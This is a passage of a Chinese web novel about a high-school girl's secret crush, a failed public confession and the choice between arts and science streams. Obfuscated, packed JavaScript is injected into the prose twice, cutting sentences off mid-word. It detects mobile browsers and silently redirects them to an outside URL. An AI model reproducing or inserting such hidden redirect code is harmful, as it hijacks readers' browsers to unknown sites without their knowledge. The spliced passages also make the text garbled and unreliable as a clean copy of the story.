站在七班门口,林岁岁一眼就看到李好趴在桌上,有一搭没一搭地转着笔,她拉过一个刚好进门的同学,让他帮忙叫一声李好。 她等待片刻,看着李好走近时,背瞬间绷直,连呼吸都微弱起来。 刚洗过的校服依旧是熟悉的薄荷味,似有若无地弥漫在周围的空气里,高挑的李好懒懒散散地倚在门框上,他不笑时,连眼尾都耷拉着。 林岁岁猜测他可能没有睡醒。 她没敢耽误他的时间,声音澄澈,又带些不易察觉的喜悦,“李好,你的作业,谢谢你啦” “嗯,没事,有用就行。” 李好骨节分明的手从兜里伸出来,接过作业,刚想要转身进教室,又被林岁岁叫住。 不大的走廊上,人来人往,他们俩就这样静止住,像是停顿的电影,但没人为他们点住暂停键。 她从身后拿出一排草莓牛奶,紧张到脚趾都在用力,“这是谢礼。” 李好垂眸望向这个沉闷寡言的女孩,微抿起嘴,到底还是收下,“小事。” …… 惊蛰过后,气温回升,开学时忙忙碌碌的日子逐渐过去,校园又回归平静。 日子像是一艘小船,晃晃荡荡,起不了什么大波澜。 自从借作业事件过后,林岁岁和李好很少有交际,只偶尔和他们一起吃饭时见上几面,但也只是听叶珩和他们聊篮球比赛,她有时回想起游乐场那两天,会想那一切会不会只是她的妄想亦或是错觉? 是错觉吧,只有暗恋者会错把善意当作攀枝,想更得寸进尺一些。 她在不知不觉中,陷得挺深。 13. 13 春天是嗅得到的,无比具象化的存在。 学校里的花种各种各样,但都是大俗大艳之花,叫不出名字,只觉花香呛鼻。大概只有蜜蜂赶着追逐,平日里大家都绕着花坛走,林岁岁想设计师知道,一定伤心透顶。 某个稀松平常的日子里,学校里传出一个大八卦。 高一八班的许飘在教学楼前向高二理科一班的顾成蹊勇敢示爱。 林岁岁有幸在现场目睹全程,但也不知当事人真心与否。 大抵只有当局人清楚。 那天,第一节晚自习刚刚结束,高一八班的女生们沸腾起来,令男生们诧异不已。 一帮人浩浩荡荡地走向高二楼下,理科班就在一楼,四面八方的人看的一清二楚。 林岁岁和夏年以及其他的人一起,帮许飘布置现场,蜡烛闪烁着微光,围成大大的心形。 不明就里的人见到蜡烛中心站着一个明眸皓齿的漂亮女生,纷纷围在周围看热闹,也许是校园生活太过沉闷,这种热闹必须要凑一凑,毕竟在青城一中当众表白这种事闻所未闻。 林岁岁见到许飘第一眼时,就觉得她好看。许飘不像夏年是那种干净的阳光质感,她肤如凝脂,脖颈纤细,目光充满野心与自信。 像是无数闪耀的亮片,永远闪耀,天生就适合站在舞台上,所有人的目光都会停在她的身上。 可就是这样一个人,身后跟着数不清想要上杆子的追求者,却也陷入单恋的困境。 人的感情真像生物书上的食物链。 楼上楼下,辗转相告,不大的院子里围满了人,好奇的、看笑话的一个个看不清的脸躲藏在人群之中。许飘却无半分怯意,依旧站的笔直,手背在身后,眼睛亮晶晶的,灯火都映入其中。 许飘频繁望向不远处的教室,“喂,顾成蹊学长,人家给你表白,你这样躲着算什么回事啊?” 林岁岁也隐没在人群里,手里抓着一只滚烫的打火机。她也是别人故事里的旁观者,只是别人的故事,滚烫又热烈,而她的却见不得光。 夏年翘着脚,张望着,“这么多人叫他,他怎么也不出来啊,我们许飘小仙女这样太可怜啊。” 是谁规定,别人要为你的喜欢负责呢? 一阵微风拂过,烛光摇摇晃晃,林岁岁眼里闪着光,意味不明地嗯了声。 夏年半响没吱声,叹气,“但是我还是很佩服她,真的太勇敢了,这事搁我身上,给我钱也干不出来。” 是啊,这么勇敢的人,不多见,毫无回应,却又坦坦荡荡。 这件事的结果是,当事人顾成蹊久久未露面,反倒把两个级部主任引过来。 高一级部主任武江,学生们起的外号叫武松,煽风点火的一群人不敢继续起哄,四处散去。 许飘那一刻的双眼像失了光,垂头丧气地跟着武江走,可却时不时回头看向高二楼。 一场当事人都没有出场的表白仪式,以失败告终。 / 下周一的升旗仪式,许飘面对全校师生作出深刻检讨。 她深不深刻不知道,但现场的人都印象深刻,因为许飘规规矩矩念完林岁岁帮着写的检讨书后,放下稿子,冲着高二理科一班的队伍,喊了句话。 “顾成蹊,你躲得了初一,躲不了十五,学妹我有的是时间,咱们来日方长。” 全场响起轰鸣的掌声,惊叹声此起彼伏。 夏年目瞪口呆,“许飘——她这是疯了?” 林岁岁当时只是抬眼看了一眼,便继续低头背单词,她把话说完,林岁岁才迟钝地眨眨眼,被她的一番话吓到。不过她脑海里第一想法是,许飘一定是有强大的背景,不然这么搞早就被开除八百回了。 这件事后劲很大,够大家议论一个学期。毕竟大部分人的青春都是安安静静的,对于林岁岁来说翘个课就算是天大的事,但这不妨碍他们对于离经叛道的好奇心。 几天后,全校广播喇叭里循环着对于高一八班许飘同学的处分通知。 许飘坐在教室里听着,也不沮丧,依旧笑逐颜开。 林岁岁却毫无作业的心思,笔尖垂在书本上,洇开一片漆黑的墨水。她想起许飘站在主席台上那一副势在必得的模样,骄傲、目中无人,却让人无法讨厌。 许飘真的很勇敢,这是林岁岁永远做不到的事情。 大大方方说喜欢,毫不掩饰对一个人的仰慕,平日里十句里少说□□句都是顾成蹊学长如何如何。 林岁岁与她截然相反,一个名字只敢在心里嚼烂,从不敢昭告天下。 许飘起码勇敢登了一次台,而她,永远只能在台下看着。 怨不了别人。 / 接下来的几周,高一不闻窗外的春光烂漫,往日熙熙攘攘的高一教学楼,寂静且压抑着。他们正在准备五月初的那一场几校联考,一丝一毫都不敢松懈。 青城的几所重点学校每个学期都有联考,但这次不同,相邻市的几所学校都会参与,试卷也是交换修改、联合排名。 而且他们还面对着一个分岔路,走文科,还是走理科。 但不是所有人都有所顾虑,于鹏飞向往轻松所以选择文科,陈雀更擅长文科所以选择文科,许飘是个艺考生所以选择文科……而李好会选理科,林岁岁不清楚原因,但是可以预料到。 夏年则是在犹豫之中,林岁岁知道她在犹豫什么,这样明目张胆的,把另一个人放在与前途同等重要的位置上,林岁岁不敢说她轻视,也不敢说她夸张。 世上傻瓜太多,因为一个人而犹豫着,害怕做出选择,又算得了什么呢? 而林岁岁呢,这个原本清晰的决定,在此刻却异常模糊起来,她也不敢做轻易做决定。 那个人是她始料未及的出现,她以为自己足够清醒,不会受任何人的影响,不矫情不扭捏,不会在这样需要清醒的时刻,做出什么冲动的决定,可是她真的不知道该怎么办。 是啊,在这样的青春里,决定不了什么远大的事,选文选理,是他们唯一可以故作成熟,将所有考虑都容纳在其中的选择题。 这哪是选择题啊,明明是一道是否题,你是否会在做出选择后,不后悔呢,又选择用什么去担保呢? / 人间的四月天,晴空万里,柳条抽芽,微风和煦。 林岁岁坐文学社的办公室里,脸贴在冰凉的桌上,盯着随风扬起的白色窗帘,不知在想些什么,丝毫没有注意到阮白进屋。 阮白关上大开的窗户,“岁岁,发什么呆呢?” 林岁岁看向阮白那双浅棕色的眼眸,揉了揉发凉的脸,“哦,在想文理科分班的事。” 阮白身为过来人,心下了然,“你在犹豫什么?” 林岁岁的性格和能力都更适合文科一些,她不知道这个小姑娘在犹豫什么。 “……啊。”林岁岁盯着桌上的纹理,一时无言。 是啊,她为什么要犹豫,难道理化生及格几次,她就有胆量去理科吗。 为了追逐一个人的背影,她真的要把所有都投入进去? 她不可能,可是却很害怕,无法说服自己。 林岁岁近 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阮白不在意地继续说道:“哎,这男人啊,真难对付。不然我闲得慌吗,天天在第一上面待着,大好的高中生活都没法享受。” …… 文科稳坐年级第一的大佬说出这种话,被老师听见该如何作响。 林岁岁捏了捏校服外套的袖子,她一向招架不住这个学姐。 阮白收起玩笑话,正经问道:“所以,你和你喜欢的人发生了什么?” 林岁岁慌张摆手,“没没没,我没有……” 林岁岁一着急耳尖就蹭的变红,阮白欺负惯这个小学妹,觉得她这个样子甚是可爱,“哦——那就没有吧。” 两人闲聊一会儿,林岁岁没有想到阮白学姐还是一个挺爱聊八卦的,一直在问许飘和顾成蹊的事,但是林岁岁知道得并不多,把知道的都告诉了她,两人才回归正题。 阮白马上升入高三,没有空闲时间管理文学社的事务,只是挂名一个社长的职位。她打算让林岁岁接班,这次两人开个小会,交接一下具体内容。 文学社主要负责学校的校刊,一月一刊,上面有社团老师把关,所以说起来工作量不是很大。只要平时根据学校的重大活动写几篇文章,其他时间收收各年级的稿件就可以,排版等内容都由老师负责。 林岁岁不敢辜负学姐的一片心意,所以听得认真。 晃眼便是黄昏,窗外人声鼎沸,都在赶往食堂的路上。 阮白收拾好她留在文学社办公室的个人物品,和林岁岁告别,“办公室钥匙放你那,你高二之后,可以来这自习,这里安静还有空调可以用。” “好,学姐,谢谢你。” 阮白狡黠一笑,“岁岁,学姐我马上就要为了心爱的人而去努力了,你要看好文学社哦。” 这个学姐说话总是吊儿郎当的,让人摸不着头脑,但林岁岁依旧认真地点点头。 阮白站起身摸了摸她的脑袋,“岁岁,无论你有多喜欢一个人,都不要把自己变得不幸。” 果然瞒不过她。 可是她没有因为喜欢李好这件事而变得不幸啊。 她不懂,“怎么算不幸呢?” 阮白抱着箱子,站在门口,逆着光,看不清表情,“大概,就是丢了自己吧。” 学姐离开后,林岁岁站在原地许久未动,窗外日落余晖,停留在她瘦小的背上。 是谁在一面平静的潭水里,丢了一颗石子,让她再也不能继续沉溺。 是谁说的,暗恋最苦涩,因为无条件跟随一个人,很蠢。 不管是谁,扔的好啊,说的对啊。 14. 14 五月初的联考结束后,林岁岁才闲暇下来,她躲藏在高高的书本后,偷偷看着小说,时不时和身旁的夏年接一下老师的话茬,也算自在。 可谁都知道,她们俩还有个选择没做。 内心远不似表面上的波澜不惊,其实早已山洪一次又一次,险些崩塌掉。 林岁岁都在思考阮白学姐最后的那句话。 但也没有思索出个结果,林岁岁是个很别扭的人,面前出现一个难题,她必须要自己想明白,才能好好迈过去这个坎,装作忘记亦或是顺其自然在她这里行不通。 某天的晚自习,教室里只有写字和翻页的窸窣声响。 春夜的风凉凉,吹动窗台上放置的试卷,林岁岁从胡思乱想的思绪中抽离出来,扣下从上了课就未翻过页的辅导书,轻声起身将窗帘挽起,试卷压在书下。 窗外的香樟树在夜里静静伫立,风一吹过,灯下的树影便缓缓流动,静悄悄的,她却入了神。 她全然忘记夏年课前嘱托过的话,让她课上帮忙看着纪律组检查纪律,她好偷偷看会小说。 最近夏年沉迷于恐怖小说,跌宕起伏的剧情让她痴迷,甚至晚饭都没有去食堂,让他们帮忙捎了袋酸奶和面包。 林岁岁调侃她,如果你把这认真的功夫花一半在学习上,我做梦都能笑醒。 夏年嬉皮笑脸的说,为了让你好好睡觉,我是不会做让你笑醒的事的。 林岁岁背对着教室门,望着窗外发呆时,陈辉不知不觉从后门出现。他很少会躲在后门窗户那偷窥,而是直接闯入打他们一个措手不及。 往常关着的后门,在气温回升后,就每日敞开着通风,所以陈辉进来时无人察觉。 林岁岁和夏年经过一个月换位后,又轮到离后门最远,靠近窗户的那一列,后门的动静平日注意不到,更不要提寂静无声的晚自习上察觉他悄无声息的靠近。 陈辉远远便看到夏年的小脑袋低垂着,双手放在桌洞里,就料到她一定又在看那些毫无营养的玛丽苏言情。 待到站在夏年身旁时,陈辉轻轻拍了拍她的肩膀,“哟,看什么呢,这么入神。” “啊——”夏年的一声尖叫,打破了原本祥和的气氛。 窗边的林岁岁吓得全身一抖,陈辉也是一激灵,整个教室都幽怨地看着夏年,抱怨着。 陈辉气急败坏,“夏年,你给我叫唤什么,看个破谈恋爱的,把你吓成这样。” 夏年惊魂未定,心里犯嘀咕,明明是你比较吓人好不好…… 可她不敢说,只能心里为自己接下来要经历的事情默哀。 但还是要挣扎一下的,“辉哥,这不怪我,我今天看的是恐怖悬疑,不是那破谈恋爱的。” 陈辉当下眼皮一跳,咬牙切齿的,“夏年,你给我出去站着。”而后一把夺过她的小说,率先出了门。 林岁岁在一旁象征性地拍了拍夏年的肩膀,表示安慰。 夏年叹了口气,“岁岁,记得帮我收尸。”随即一副壮烈的神情,赶紧跑出去。 外面传来断断续续的训斥声,八班人见怪不怪的继续做着自己的事。 / 下自习后,夏年依旧在外面罚站,走廊上陆陆续续出来的人,都一脸同情地看着她,显然陈辉的嗓门过大,整栋楼都听得到。 林岁岁从教室出来时,夏年一脸委屈地望着她。 李好和沉嘉遥这时也从七班出来,沉嘉遥一眼看到夏年沮丧的小脑袋,上前几步,“夏年,你上课看小说这事,我估摸着,整个楼都要知道了。” 过于夸张了吧。 夏年撅起嘴,“呵,姐姐我下次还敢……”余光扫到陈辉从教室前门出来,夏年话锋一转,“咳咳,我以后再也不会看什么没营养的小说了,我要好好学习,天天向上。” 路过的陈辉听见,冷哼一声,又教导了一番,才离开众人的视线。 陈辉一走,夏年再也装不下去,累得蹲下身,轻揉着小腿,“哎,我可怜的小说啊,我还没看完呢。” 沉嘉遥俯身轻轻揉了她的头发,像她一样,软乎乎的。 “你说你,非要跟他对着干,就不能下课看吗?” “我又不是天天看啊,这不是考试刚结束吗!” 沉嘉遥轻叹了声,“好好好,什么小说,我去我小叔那给你拿几本,好不好?”他的声音低沉,只他们两人听得见,淹没在人来人往的走廊里,他蹲下身,帮夏年捏了捏小腿,她脸红躲开。 林岁岁不动声色地把视线从两人腻歪的气氛中移开,望向靠在栏杆旁的李好。 他穿着黑色短袖,手肘撑在栏杆上,流畅锋利的下颌线,神情却模糊,不知在想些什么。 不知道是不是可以上前搭一搭话。 李好感知到她的视线,只是轻轻看了她一眼,礼貌颔首。 林岁岁抓住这一瞬间,上前走去,和他肩并肩,一起看向不远处高二楼的盏盏明灯。 过了一会儿,林岁岁回头看了一眼那两位,他们俩不知玩起什么游戏,手指勾来勾去,时不时争执几句。即便他们依旧天天吵吵嚷嚷的,可却多了些宠溺的感觉。 林岁岁叹了口气,如果和他也这样的话,就好了。 偷偷反抗着一切,一起把这该虚度的青春,虚度在对方的身上。 她真的好羡慕。 可却只看得到他的侧脸,无情又迷人,一切都只是她的臆想。 / 翌日清晨,夏年才恍然想起昨晚沉嘉遥说起的篮球比赛,便戳了戳正在补数学试卷的林岁岁,“岁岁,你下午要不要和我一起看篮球比赛啊,沉嘉遥他们班对十六班。” 林岁岁闻言,笔一瞬停滞,李好也会去吧。 “什么时候?” “啊,就是下午的那节语文课。” 林岁岁顿了顿,睨了她一眼,“你现在连语文课都想翘了?” 胆子真是越来越肥了,好像昨晚被罚站的不是你。 “我靠,昨天语文老师就说今天下午的语文课,她有事,改成自习了啊,你不光忘记了,你还冤枉人家?” 林岁岁咬唇,虽然很想去看李好打篮球赛,但还是觉得不太好,“这…不太好吧。” “不会有事的,咱自个的自习,又不会有人查,去吧去吧,求你了岁岁。”夏年摇晃着林岁岁的胳膊,撒着娇。 林岁岁最受不了她撒娇,“好好好,我去,真服了你了。” “嘿嘿,我就知道岁岁最好了。” 可没人知道,林岁岁接下来的数学答案都对错了行,因为可以明目张胆的看李好打篮球,她想一想就莫名激动。 / 林荫道上,两边的梧桐树交织在一起,阳光透过罅隙散落一地,落在少女的脸上,有些灼眼。 夏年匆匆忙忙跑去小卖部买了两瓶水,一瓶自己留着,另一瓶塞在林岁岁的手里,后者一脸疑惑,“你给我干什么,我不喝。” 夏年翻了一个白眼,“谁说这是给你喝的了,这是给你的意中人喝的,说不定你一会儿在球场上就能遇到心仪的人啊。姐妹我能帮你做的不多,一瓶水还是可以赞助一下的。” 呵呵,林岁岁干笑两声,却下意识捏紧了澄澈的矿泉水。 两人嬉嬉闹闹走了一路,不一会儿,就到了篮球场,远远便看见一群男生坐在石阶上。 林岁岁几乎一眼便锁定了李好的位置。 他手肘向后撑在稀松的草坪上,单手拿着书,修长的腿自然地搭在台阶的边缘,一晃一晃的,慵懒无比。 风也好想看少年的无奈,于是吹拂过。 李好微微甩头,刺眼的光芒映在他的脸上,让林岁岁只模模糊糊看见光影,却看不清他的神情。 夏年伸手挥了挥,高喊了声沉嘉遥,两人一起望过来,脸顿时具象起来。 那帮男生听见,连连起哄,夏年抓了抓林岁岁的肩膀,笑意之下尽是害羞。 沉嘉遥制止住那群不知分寸的男生,才向这边走来,身后跟着沉默的李好。 林岁岁站在夏年身侧,装作无聊地望着树皮,仔细研究着纹路。 夏年声音掩去平日里的大大咧咧,竟有几分甜,“你们还没开始吗?” 沉嘉遥揉了揉她的头发,“十六班拖堂了,等会就开始了。” 夏年拍去他的手,“你能不能不要天天揉我的头发啊,给我揉秃了怎么办!” 毫无指责,尽是娇嗔。 “好好好,不揉不揉。” 林岁岁听着这些对话,却是苦笑一声,自己不该来的。 “买给我的?”沉嘉遥示意那瓶矿泉水,顺便把手里的校服外套,扔给了夏年。 “废话,那不然我给别人也行啊。”夏年将乱糟糟的校服顺好,翻了一个白眼。 男生在篮球场打球,自己的校服交给那个女生保管,亦或是打完球后选择喝谁的矿泉水,好像是一件异常重要的事,她们把喜欢寄托在这些琐碎上,就看对方接不接。 好像很多女生都会心动,也是无数言情选择的老套剧情。 虽然老套,可林岁岁此刻却有一丝冲动感,莫名其妙的,涌上心头。 她无意识地盯着李好搭在手臂上的校服外套,咬着嘴唇,咬的毫无血色。 而后,终于试探着说了句,“李好,我可以帮你拿着衣服。”怕是不够,又慢吞吞加了一句,“单词书也可以给我。” 李好闻言,漆黑的眼眸对上那一双惊慌的杏眼,没作声。 李好的眼睛在光下明亮透彻,溢满了光。林岁岁晃神,他的眼睛很像夜晚的黑,漆黑一片,却被月光照耀着,粼粼波光。 “那就麻烦了。”声音低低的。 林岁岁从他手里接过外套和那本单词书,不小心触摸到少年的手,可能是撑着石阶太久有些发凉,像是手突然伸到潺潺流过的冰凉的溪水中。 她的手指不禁蜷缩起来,直到他们上场,跟着来到场边,没有梧桐树的遮蔽,初夏的阳光直直地照在身上,手指尖却依旧有凉凉的触感。 这是林岁岁第一次如今近距离的看李好打篮球,往常她只敢站在远处,轻轻瞥上几眼,生怕惊扰了什么。 少年意气风发,运球时带起一阵风。 林岁岁望着他奔跑的身影,迅速而畅快,些许是阳光刺了眼,她眼睛酸涩地低下头,长而密的睫毛微微颤抖着,她看着单词本上李好的名字,并不陌生的字。 字如其人。 怪她学识浅薄,只能说出好看二字。 她轻轻垂下手,用手指在裤子上悄悄临摹他的名字。先前临摹的总是不像,许久未写,都要生疏了。 夏年在为沉嘉遥进了球而欢呼雀跃,跳了几下后,似乎终于发觉身边的人安静得不对劲。 她揽过发呆的岁岁,“哎,岁岁,你觉得李好这个人怎么样啊?” 林岁岁对这个突如其来的问题,有些慌乱,她掩饰住眼底的情绪,“挺好的啊,怎么突然这么问?” “没事,就随便聊聊。你说,他在咱们学校人气那么高,那么多女生喜欢他,他就没一个看得上的吗?” 她换了只手拿东西,下意识捏紧了他的校服,“夏年,你可能不知道,他们这种学霸,只会死学习。” 对不起,李好。 “你说的也有道理,虽然这个理由我很不爽。”夏年歪着头,用沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她一直都知道,在这个故事里,自己只会是配角,甚至是一个会偷东西的配角,可即便如此,她也想要把这个配角演得漂亮,让他日后回想起来,也是一句,“她啊,是个很优秀的人。” 这样就够了。 那就,从阴影里走出来吧,不如在文科里,走着自己该走的路。 因为想要堂堂正正的,而不是跟随着他,始终仰慕着,那也不会有机会被看到的。 虽然毫无逻辑可言,可是林岁岁知道,眼前的那个难题,在此刻的疼痛下,倏地清晰起来。 哪怕他一无所知,她也要与他并肩,不在一个战场也无所谓。 只要她想,那便在。 脑子里的那一团迷雾消散,林岁岁心里顺畅不少,自己总要去试一试吧,万一呢。 / 楼梯间穿梭着蓝白色的身影,上上下下。 林岁岁听着夏年和沉嘉遥在身后拌嘴,视线却紧跟着前方少年垂下的手,摸过球的手蒙了层灰,却依旧很性感,她觉得他的手一定很好牵。 大大的,可以包住她的手。 林岁岁察觉到有人呼喊她的名字,四人视线上移,陈雀站在二楼楼梯口,“夏年,岁岁,你们俩可算回来了!” 她上前几步,不解,“怎么了?” “语文自习的时候,陈辉好巧不巧来教室了。” 夏年捂住胸口,“卧槽,完了完了,老夏又要来学校了。” 沉嘉遥听见她冒出脏话,拍了她的脑袋,“又说脏话。” 陈雀简直没眼看,目光转向林岁岁,“那倒没有,我和于鹏飞说岁岁身体不舒服,夏年陪她去医务室了。但是辉哥转头又问了班长,还好叶珩向着你们俩,没有拆穿我们。” 夏年的心才落了地,“那就好,你这一波三折的,吓死我了。”而后倏地看向林岁岁,还未开口,一看她的眼神,林岁岁就知道她在想什么。 林岁岁右眼皮一跳,“夏年,我头还是好疼,肚子也疼,你快扶我回教室吧。” 夏年接过她伸出的手,“喳!” 陈雀也一旁笑着跟上,她们俩时常让她哭笑不得。 沉嘉遥在后面感慨,“服了她们了。” 林岁岁甚至能听到李好从喉咙里低低发出的笑声。 简直要了她的命啊,太尴尬了。 乱哄哄的走廊上,几人正巧和陈辉碰上,他没多说什么,只是嘱托林岁岁不舒服一定要请假,便匆匆赶去上课。 夏年注视着他的背影,小声嘟囔着,“学习好就是好啊,要是我的话,他肯定说我天天看小说还臭毛病一堆。” 进了教室,正在发放已经批改好的联考试卷,夏年从来来往往的课代表中,拍了拍正在收拾试卷的叶珩,“谢了兄弟。” 叶珩卸下原本对着成绩紧皱的眉头,笑起来:“小事,小事。” 夏年点头一笑,就赶去处理对着她嬉皮笑脸的于鹏飞。 叶珩的寸头长了许多,头发毛毛躁躁,却是遮盖不住的朝气,他从来不是一眼惊艳的类型,五官端正,反而是越看越觉得好看,看也看不腻。 林岁岁发觉自己又盯着人家发呆,对上叶珩看过来的目光,缓慢地眨眨眼,反应过来她才向他道谢。 他摸了摸鼻子,“下不为例啊,你别让她天天拉你出去乱跑。哎,对了,他们说你英语又考了一百三十多,你给我看看呗。” 全班知道林岁岁的英语成绩一向逆天,她比了一个OK的手势,让他稍等。 叶珩收了试卷,又顺便告知她,夏年被收走的书,这次要不回来了。 林岁岁一怔,随即点点头。 阳光普照,教室兵荒马乱,有的对着试卷哀嚎,有的围在一起翻着杂志偷笑,有的却借着余光偷偷看一眼她。 有的人为了你被收走的书,可以去图书市场的小叔那里,再买一本,而有的人只会笨拙地去班主任那想要帮你要回来。 这乱糟糟的地方,却存着不一样的真挚的心,林岁岁那一刻,隔着所有的声响,静静地看着这一切。 好像在等待结局,却殊不知结局根本不重要。 15. 15 五月底的某天,林岁岁放下自己的执念,在文理科意愿表上郑重地写下了文科二字。 而身旁的夏年也在那天的下午,写下理科二字,林岁岁皱了皱眉,问她:“你真的想好了吗,去理科不会很轻松的。” 林岁岁想起她们俩都在迷茫的时候,夏年一脸苦闷的问她自己要不要去理科。 她认真思考半响,均衡分析过夏年的成绩,最后总结,“你应该去文科,你的文科成绩更好,高二高三再好好努力一下,高考没问题的。” “岁岁,我是说如果,如果我抽风了,不想管未来,也不想管什么擅长不擅长,那我选理科会怎么样?” 林岁岁看着夏年执拗的眼神哽住,不知道该说什么好。 如果不是为了未来,那你是为了某个人吗? “会很难,会很难的。夏年,如果你所坚持的事情,在某个时刻,突然崩塌了,那就再也没有继续下去的理由了。” 所以为自己才是上上策,无人可怪,只能吐下自己种的果。 可林岁岁不想让自己的朋友这样为难,见夏年久久未说话,她也很犹豫,“不管怎么样,我都会支持你。” 谁不是什么道理都懂,可自己就是死也不认吗。 不能左右决定,但要陪伴你做下决定后所走向的路。 夏年望着填好的意愿表,郑重点头,“说实话嘛,岁岁,我本身就无所谓,不如去理科啊,起码有喜欢的人。” 林岁岁内心一窒,密密麻麻的刺戳向她的心脏。 自己的决定,也不要被其他人干扰。 “岁岁,我要是受不了,我就回来找你和陈雀。” “好。” 却不料一语成谶。 夏年的脸上充满了在青春里孤注一掷的表情,让林岁岁也无法阻止。 活得简单的十六岁,不明白自己的决定意味着什么。他们对未来没有太多期待,只是想抓住眼前的人。想多和身边的朋友继续欢笑,想多看一眼那个喜欢的人,站在青春那一条路上,久久不愿前行。 / 某天,广播体操结束后,林岁岁遇到了阮白学姐。 她和身边的人漫不经心的笑着,散的发丝随风起舞,她也看到了林岁岁,朝她挥手。 “小岁岁,文科理科啊?” “文科。”这次的她,坚定不移。 阮白揉揉她的脑袋,“就是应该这样嘛,咱们文科也很好的,别怕,文科一点都不难,遇到困难就来找我。” 身边的几个学姐也笑,“就是啊,小学妹。以后有什么事,阮学姐给你罩着。” “不要听那些老师瞎说,什么理科有前途,文科没前途的废话。” 林岁岁连连附和,心里想着陈辉从来没有过问他们的选择,每次都是收表,也不说话。 阮白目送几个朋友离开后,语气收敛,“想通了?” “嗯,我想在文科里,走出自己的路,这样他才能看到我。” 阮白听了这番天真的话,低低地笑,没说什么,只是点点头。 在教学楼分开前,她也只是说,“有什么事,就来文科一班找我。虽然高三很忙,但是你来找我的话,我还是可以勉强抽出空的。” “学姐,高三加油。” “你也加油啊。” 天真的小孩,能不能看见你,全在那个人身上啊。 他若不想,你站得再高,也不会让他的目光停留。 / 六月,炎炎烈日,又是一年夏天。 青城一中高一高二的学生们给高三腾出考场,他们趁着高考,沾光可以有两天假期。 傍晚,林岁岁、夏年和陈雀骑着自行车回家。 日落悄然而至,大片的火烧云热烈而明亮,橙色的光披在少女的背上。 道路两旁的杨树簌簌作响,少女们的校服因为风而鼓起,三人都下意识地用手履平,重复几次也倦了,便懒得这风,任凭风吹。 三人在分岔路口分别。 林岁岁拐进十里巷,巷子里的蔷薇花和无尽夏开满墙,每天骑车上下学,都会沾染上一身的花香。 车把碰掉几瓣蔷薇花瓣,随着风飘向不知处。 林岁岁干脆下车,在窄小的巷子里推着车慢慢走。她真的很喜欢十里巷,这里有到处晃悠的小猫小狗,有在大槐树下打牌的大爷们,还有熙熙攘攘的菜市场。 进了这儿,仿佛时间都被放缓,老旧电影般,一帧一帧缓慢播放着。 平凡却充满烟火气。 高考结束后,高一依旧在老教室,高二已经匆匆忙忙搬去高三楼,开始漫长的补课时光,提前进入高三生活。 而高一则会在期末考试结束后,再进行文理科分班,搬去人去楼空的高二楼。 林岁岁第一次如此期待这场期末考试,因为她的排名成功挤进第一考场。下次的考试座位都会按照上一次的考试排名分配。 那么,也就是说,她可以和李好在同一个考场考试。 是第一次,也是最后一次。 这个结果,是她上次用联考拼命换来的,毫不夸张。 好吧,确实有夸张的成分,但幸运的是,林岁岁的底子很好,语文和英语是她从不需要担心的科目,数学则是普普通通的,不拖后腿就好,所以她的重点都在理化生上,好在努力没有白费。 联考前的某天晚自习,林岁岁流出鼻血,一滩血迹印在数学试卷上,与鲜红的墨水混在一起。 夏年倒吸一口凉气,这已经是本周第三次,她熟练地把林岁岁拉去洗手间。 “岁岁,闭眼,别看昂。” 林岁岁她晕血,本来症状很轻,但是自从奶奶出事时,她满手沾上血后变得更加严重。 “岁岁,你至于吗,这又不是高三,你不用这么拼命的啊。” 冰凉的水扑打在脸上,林岁岁的意识无比清醒,她仰起头,手撑在水池边,喃喃道:“夏年,我有一个很想要完成的目标。” “什么目标啊,你就光坐那埋头学习,什么事都往肚子里咽,告诉我们不行吗?” “嗯……等完事了,我就告诉你,别生气啊。”其实她只是一开始想要瞒着,后来想要坦白,但拖着拖着,就找不到合适的契机诉说。 林岁岁现在打算考试后找合适的一天告诉夏年她喜欢李好这件事。 夏年把她没有洗干净的血迹擦去,“行行行,知道了,我等着。” 她的朋友还真是一个死心眼的人啊,平时像小白兔一样,一旦想要什么,便眼睛都红了。 “好了,干净了,睁开你的小眼睛吧。” 林岁岁的眼睛湿漉漉的,坚定的有光。 / 现在,她成功了。 虽然是第一考场的倒数第二名。 林岁岁坐在考场上,无奈叹了口气。她单手撑着脑袋,一手在尝试着转笔,目光注视着教室门口。 李好意气风发地走进来,一米八几的男生一出现,瞬间夺取考场内很多女生的视线,毕竟高一谁都听说过这个低调的年级第一。 他漆黑的头发在高考那两天剪短了,显得愈发干净,眼眸清亮,只进来略微扫了眼,便坐在靠门的第一个位置上。 林岁岁心跳如擂鼓般跳动,可是李好并没有看到她,也或许是看到,只是不在意而已。 他们俩的位置就是一条对角线啊,无比遥远的距离。 林岁岁对着空气干笑,苦涩是荒原上的风,灌入身体。 还未开始考试,其他考场的男生过来找他聊天,李好被他们粗暴的叫醒,也没有半点不耐烦,听着那些男生询问知识点。 林岁岁只听过他讲过两次题,那些题目都被她贴在笔记本里。 他永远认真待人,不会因为提问太过幼稚,而产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499056|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生半分轻视,他和那些目中无人的学霸完全不同。 刚注意到他时,会因为他的孤寂感而认为他是一个很冷的人,可是经过她的观察,他真的很温柔,所以才让她的内心犹如波涛翻滚。 两天半的考试,每场考试林岁岁写完试卷后,也懒得去检查,她就直直地对那个背影发呆,导致监考老师都误会她是不是被身后的空调吹冷了。 那个背影时而抬头看一眼墙上的钟表,时而打开水杯喝水,扬起的头,滚动的喉结,让林岁岁也忍不住咽了下,随即面红耳赤地低下头。 最后一门物理结束后,跟随着涌出的人潮离开的林岁岁,刚到楼梯口便遇上了折返的李好,李好抬眸看见她,只是稍稍点头示意,便错身离开,只留下林岁岁被人群拥挤着,反复在心里演绎与他擦肩而过的一瞬间。 / 在搬去高二楼前,八班最后相处的日子里,班里气氛阴沉。 毫无疑问,这个班级里的每个人都舍不得这个充满爱的班级。 没什么大不了的,却一丝一毫都记得。 